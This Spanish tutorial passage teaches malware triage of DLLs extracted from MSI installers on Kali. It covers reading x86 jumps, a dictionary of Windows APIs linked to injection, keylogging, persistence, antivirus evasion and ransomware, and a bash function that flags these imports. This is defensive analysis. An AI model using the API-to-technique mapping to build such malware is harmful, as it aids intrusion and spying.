`{ lanzar_error(); }`	`JNZ 0x401050`	Si NO es cero, salta (se salta el error).
	`CALL lanzar_error`	Si era cero, no saltó y ejecuta esta línea.
`else { continuar(); }`	`0x401050: CALL continuar`	Punto donde llega si la comparación fue exitosa.

¿Cómo practicar esto en Kali?

Usa gdb o edb-debugger: Son depuradores que te permiten ver el código instrucción por instrucción mientras se ejecuta.
Capa de búsqueda rápida: Si estás en la terminal y quieres ver el ensamblador de una DLL rápido:
objdump -D -M intel archivo.dll | grep -A 20 "main"

Tu Arsenal está Completo

Has construido un flujo de trabajo increíble:

Extraes el MSI.
Escaneas metadatos y seguridad.
Aislas en un Sandbox de Wine.
Rastreas actividad en tiempo real.
Ingeniería Inversa con Ghidra y lectura de ASM.

Tener un "mapa" de las DLL de Windows es como tener una guía de las piezas de un motor. Cuando analizas un archivo extraído con msitools y ves que llama a una de estas librerías, ya sabrás inmediatamente qué intenciones tiene el programa.

Aquí tienes el diccionario esencial para tu laboratorio en Kali:

1. Las "Tres Grandes" (Fundamentales)

Casi cualquier programa de Windows las usa, pero en exceso pueden ser sospechosas:

kernel32.dll: La más importante. Maneja la memoria, los archivos y los procesos.
- Funciones clave: CreateProcess, VirtualAlloc (típico para inyectar código), ReadFile.
user32.dll: Maneja la interfaz de usuario (ventanas, botones, menús).
- Funciones clave: GetAsyncKeyState (usada por keyloggers para capturar teclas), MessageBox.
gdi32.dll: Funciones gráficas para dibujar en pantalla.

2. Las DLL de Red y Comunicación

Si una DLL de tu instalador MSI las importa, el programa quiere salir a internet.

ws2_32.dll: (Windows Sockets). Es la base para cualquier conexión de red de bajo nivel.
wininet.dll: Funciones de alto nivel para HTTP/FTP.
- Funciones clave: InternetOpen, HttpSendRequest. Si ves esto en una DLL pequeña, sospecha de un Downloader (descarga más malware).
winhttp.dll: Similar a la anterior, pero optimizada para servicios y sesiones persistentes.

3. Las DLL de Seguridad y Registro

Aquí es donde el software suele intentar "echar raíces" en el sistema de la víctima.

advapi32.dll: Gestión avanzada de Windows, especialmente el Registro y los Servicios.
- Funciones clave: RegSetValueEx (persistencia), CreateService (ejecutar código como SYSTEM).
crypt32.dll: Maneja certificados y cifrado.
- Uso: Si un instalador la usa, podría estar cifrando sus comunicaciones o descifrando un payload oculto.

4. DLLs "Inusuales" (Banderas Rojas)

Si ves estas en un programa que se supone que es simple (ej. un visor de imágenes), abre bien los ojos:

winspool.drv: Control de impresoras. A veces se usa para ocultar tráfico o para escalar privilegios.
psapi.dll: (Process Status API). Sirve para listar todos los programas que corren en el PC. Muy usada por el malware para buscar y desactivar el Antivirus.
mpr.dll: Maneja conexiones a carpetas compartidas en red (SMB). Típica de Ransomware para cifrar discos en red.

¿Cómo usar este diccionario en tu script?

Podemos crear un comando rápido en tu terminal de Kali para que te diga el "perfil" de una DLL basándose en estas librerías:

Bash
analizar_perfil() {
    local DLL="$1"
    echo "--- Perfil de Capacidades para $DLL ---"
    
    # Comprobar Red
    if pedump --imports "$DLL" | grep -qiE "ws2_32|wininet|winhttp"; then
        echo "[!] CAPACIDAD: Comunicación de Red / Internet"
    fi
    
    # Comprobar Persistencia
    if pedump --imports "$DLL" | grep -qiE "advapi32"; then
        echo "[!] CAPACIDAD: Modificación de Registro / Servicios"
    fi

    # Comprobar Espionaje
    if pedump --imports "$DLL" | grep -qiE "user32" && pedump --imports "$DLL" | grep -qi "GetAsyncKeyState"; then
        echo "[!!!] ALERTA: Posible Keylogger (Captura de teclas)"
    fi
}

Has completado un entrenamiento intensivo en análisis de MSI y binarios en Kali. Tienes automatización, sandbox, ingeniería inversa y conocimiento de APIs.